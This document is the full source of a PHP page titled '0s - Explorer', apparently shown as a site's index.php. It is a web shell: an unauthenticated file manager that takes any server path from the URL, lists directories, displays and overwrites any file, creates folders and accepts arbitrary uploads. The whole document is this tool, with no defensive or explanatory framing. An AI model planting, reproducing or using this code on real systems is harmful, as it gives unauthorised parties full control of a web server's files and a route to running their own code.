Viewing: index.php
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="dam-owner" content="DAM-BEC5-b5946eb3"> <title>0s - Explorer</title> <style> body { font-family: Arial, sans-serif; margin: 0; padding: 0; background-color: #f0f0f0; } #container { max-width: 800px; margin: 20px auto; padding: 20px; border: 1px solid #ccc; border-radius: 5px; background-color: #f9f9f9; box-shadow: 0 0 10px rgba(0,0,0,0.1); } h2 { margin-top: 30px; color: #555; word-wrap: break-word; } ul { list-style-type: none; padding: 0; } li { margin-bottom: 10px; padding: 5px; border-bottom: 1px solid #eee; } a { text-decoration: none; color: #007bff; } a:hover { text-decoration: underline; } form { margin-top: 20px; background: #eee; padding: 15px; border-radius: 5px; } input[type="text"], input[type="file"], input[type="submit"] { margin-bottom: 10px; display: block; } textarea { width: 100%; font-family: monospace; padding: 10px; box-sizing: border-box; } hr { border: 0; height: 1px; background-color: #ccc; margin: 20px 0; } </style> </head> <body> <div id="container"> <?php $root = realpath($_GET['path'] ?? getcwd()); $msg = ""; if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (!empty($_POST['new_folder'])) { $target = $root . DIRECTORY_SEPARATOR . basename($_POST['new_folder']); $msg = !file_exists($target) && mkdir($target) ? "Success" : "Error"; } if (isset($_FILES['upload'])) { $target = $root . DIRECTORY_SEPARATOR . basename($_FILES['upload']['name']); $msg = move_uploaded_file($_FILES['upload']['tmp_name'], $target) ? "Success" : "Error"; } if (isset($_POST['content']) && isset($_GET['file'])) { $target = $root . DIRECTORY_SEPARATOR . basename($_GET['file']); $msg = file_put_contents($target, $_POST['content']) !== false ? "Saved" : "Error"; } } if (isset($_GET['action']) && $_GET['action'] === 'view' && isset($_GET['file'])) { $file = basename($_GET['file']); $path = $root . DIRECTORY_SEPARATOR . $file; $data = file_exists($path) ? file_get_contents($path) : ""; echo "<h2>Viewing: " . htmlspecialchars($file) . "</h2>"; echo '<form method="post"><textarea name="content" rows="15">' . htmlspecialchars($data) . '</textarea>'; echo '<input type="submit" value="Update File"><a href="?path=' . urlencode($root) . '"> Return</a></form>'; } else { echo "<h2>Path: " . htmlspecialchars($root) . "</h2><p>Navigate: "; $acc = ""; foreach (explode(DIRECTORY_SEPARATOR, $root) as $p) { if (!$p) continue; $acc .= DIRECTORY_SEPARATOR . $p; echo '<a href="?path=' . urlencode($acc) . '">' . htmlspecialchars($p) . '</a> / '; } echo "</p><h3>Items:</h3><ul>"; foreach (array_diff(scandir($root), ['.', '..']) as $i) { $full = $root . DIRECTORY_SEPARATOR . $i; if (is_dir($full)) { echo '<li><strong>[DIR]</strong> <a href="?path=' . urlencode($full) . '">' . htmlspecialchars($i) . '</a></li>'; } else { echo '<li><strong>[FILE]</strong> <a href="?action=view&file=' . urlencode($i) . '&path=' . urlencode($root) . '">' . htmlspecialchars($i) . '</a></li>'; } } echo '</ul><hr><h3>Task Panel:</h3>'; echo '<form method="post">Folder: <input type="text" name="new_folder"><input type="submit" value="Add"></form>'; echo '<form method="post" enctype="multipart/form-data">File: <input type="file" name="upload"><input type="submit" value="Upload"></form>'; } if ($msg) echo "<p><b>Status: $msg</b></p>"; ?> </div> </body> </html>
Return